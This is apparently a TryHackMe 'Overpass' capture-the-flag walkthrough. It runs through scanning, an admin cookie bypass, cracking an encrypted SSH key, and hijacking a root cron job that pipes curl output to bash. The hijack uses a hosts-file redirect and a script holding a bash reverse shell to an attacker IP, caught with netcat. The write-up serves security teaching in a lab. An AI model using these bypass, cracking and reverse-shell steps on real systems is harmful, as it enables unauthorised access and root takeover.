Overpass

Link - https://tryhackme.com/room/overpass

As per the initial step, use **Nmap** tool for scanning the machine and knowing the running services and ports

```
┌──(kali㉿kali)-[~/Overpass]
└─$ nmap -sC -sV 10.10.79.10
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-04 17:21 EST
Nmap scan report for 10.10.79.10
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

From the above results, ports 22 and 80 are open.

Run a **Gobuster** directory search to find all the sub directories on the machine.

```
┌──(kali㉿kali)-[~/Overpass]
└─$ gobuster dir -u http://10.10.79.10 -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.79.10
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/04 17:23:09 Starting gobuster in directory enumeration mode
===============================================================
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]
/admin                (Status: 301) [Size: 42] [--> /admin/]
/css                  (Status: 301) [Size: 0] [--> css/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]

===============================================================
2022/01/04 17:23:46 Finished
===============================================================
```

Edit the Cookies on the webserver as shown below -

Cookies.Set("SessionToken","")

Instead of Cookies.set("SessionToken",statusOrCookie) in Web console.

Refresh the page will give the below result as

Welcome to the Overpass Administrator area

A secure password manager with support for Windows, Linux, MacOS and more

Since you keep forgetting your password, James, I've set up SSH keys for you.

If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
```

The above ssh key seems to be for the user James as mentioned above.

As tried logging in with the private key, prompts us with a passphrase which is unknown at the moment.

```
┌──(kali㉿kali)-[~/Overpass]
└─$ chmod 600 ssh_id_rsa

┌──(kali㉿kali)-[~/Overpass]
└─$ ssh james@10.10.79.10 -i ./ssh_id_rsa
Enter passphrase for key './ssh_id_rsa':
Enter passphrase for key './ssh_id_rsa':
```

Use the tool **ssh2John** and convert the key into a hash.

Break the hash again with the tool **John** to get the required passphrase.

```
┌──(kali㉿kali)-[~/Overpass]
└─$ /usr/share/john/ssh2john.py ssh_id_rsa > hash

┌──(kali㉿kali)-[~/Overpass]
└─$ john hash
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
[redacted]          (ssh_id_rsa)
1g 0:00:00:05 DONE 3/3 (2022-01-04 17:57) 0.1811g/s 258482p/s 258482c/s 258482C/s jamest1..jamelli
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now login to the machine using the above retrieved credentials.

```
┌──(kali㉿kali)-[~/Overpass]
└─$ ssh james@10.10.79.10 -i ./ssh_id_rsa
Enter passphrase for key './ssh_id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan  4 22:59:12 UTC 2022

  System load:  0.08               Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.79.10
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$
```

Traverse through the directories to find the file – **user.txt** which has the required flag stored in it.

```
james@overpass-prod:~$ ls -al
total 48
drwxr-xr-x 6 james james 4096 Jun 27  2020 .
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ..
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history → /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27  2020 .bashrc
drwx------ 2 james james 4096 Jun 27  2020 .cache
drwx------ 3 james james 4096 Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4096 Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt
james@overpass-prod:~$ cat user.txt
thm[redacted]
```

As we enumerate through the machine's directories and looking at the cron-jobs running on the machine as shown below.

```
james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```

There's a cronjob running on the machine which tries to download a shell script using curl from overpass.thm then pipes it to bash.

Hence exploiting the **buildscript.sh** can get access to the machine.

Since the machine downloads files from the overpass.thm machine, need to edit the /etc/hosts file.

```
james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
james@overpass-prod:~$ nano /etc/hosts
```

```
127.0.0.1 localhost
127.0.1.1 overpass-prod
10.6.110.95 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Add the THM IP address against overpass.thm domain.

Now create a similar directory **Downloads and** under that another directory named **src.**

```
┌──(kali㉿kali)-[~]
└─$ mkdir -p downloads/src

┌──(kali㉿kali)-[~]
└─$ nano buildscript.sh
```

Then create a fake script **buildscript.sh** and add a reverse bash shell command in it.

```
  GNU nano 5.9
#!/bin/bash
bash -i >& /dev/tcp/10.6.110.95/4444 0>&1
```

Ensure the file/folders are named correctly as mentioned in the cronjob.

Now run the Python script to download the file when the cron job is successfully executed.

```
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.29.35 - - [26/Jan/2022 01:23:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
10.10.29.35 - - [26/Jan/2022 01:24:02] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
10.10.29.35 - - [26/Jan/2022 01:25:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
```

As the cronjob runs and python script downloads the file from our local machine, open up a nc cat listener to catch the reverse shell on to our local machine.

Hence a root shell is been created.

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.110.95] from (UNKNOWN) [10.10.29.35] 60280
bash: cannot set terminal process group (17744): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@overpass-prod:~#
```

Traverse through the machine directories to get the required flag stored in **root.txt** file.

```
root@overpass-prod:~# cat root.txt
cat root.txt
thm{                                }
root@overpass-prod:~#
```